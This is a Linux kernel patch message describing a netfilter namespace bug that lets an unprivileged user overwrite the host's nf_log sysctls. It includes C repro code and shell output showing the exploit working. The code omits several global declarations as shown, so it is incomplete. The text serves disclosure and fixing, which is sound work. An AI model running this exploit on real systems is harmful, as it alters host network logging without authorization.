+Subject: netfilter: fix namespace handling in nf_log_proc_dostring
+
+From: Jann Horn <jann@thejh.net>
+
+commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
+
+nf_log_proc_dostring() used current's network namespace instead of the one
+corresponding to the sysctl file the write was performed on. Because the
+permission check happens at open time and the nf_log files in namespaces
+are accessible for the namespace owner, this can be abused by an
+unprivileged user to effectively write to the init namespace's nf_log
+sysctls.
+
+Stash the "struct net *" in extra2 - data and extra1 are already used.
+
+Repro code:
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <sched.h>
+#include <err.h>
+#include <sys/mount.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>

+void writefile(char *path, char *buf) {
+ int fd = open(path, O_WRONLY);
+ if (fd == -1)
+ err(1, "unable to open thing");
+ if (write(fd, buf, strlen(buf)) != strlen(buf))
+ err(1, "unable to write thing");
+ close(fd);
+}
+
+int child_fn(void *p_) {
+ if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
+ NULL))
+ err(1, "mount");
+
+ /* Yes, we need to set the maps for the net sysctls to recognize us
+ * as namespace root.
+ */
+ char buf[1000];
+ sprintf(buf, "0 %d 1\n", (int)outer_uid);
+ writefile("/proc/1/uid_map", buf);
+ writefile("/proc/1/setgroups", "deny");
+ sprintf(buf, "0 %d 1\n", (int)outer_gid);
+ writefile("/proc/1/gid_map", buf);
+
+ stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
+ if (stolen_fd == -1)
+ err(1, "open nf_log");
+ return 0;
+}
+
+int main(void) {
+ outer_uid = getuid();
+ outer_gid = getgid();
+
+ int child = clone(child_fn, child_stack + sizeof(child_stack),
+ CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
+ |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
+ if (child == -1)
+ err(1, "clone");
+ int status;
+ if (wait(&status) != child)
+ err(1, "wait");
+ if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+ errx(1, "child exit status bad");
+
+ char *data = "NONE";
+ if (write(stolen_fd, data, strlen(data)) != strlen(data))
+ err(1, "write");
+ return 0;
+}
+
+Repro:
+
+$ gcc -Wall -o attack attack.c -std=gnu99
+$ cat /proc/sys/net/netfilter/nf_log/2
+nf_log_ipv4
+$ ./attack
+$ cat /proc/sys/net/netfilter/nf_log/2
+NONE
+
+Because this looks like an issue with very low severity, I'm sending it to
+the public list directly.
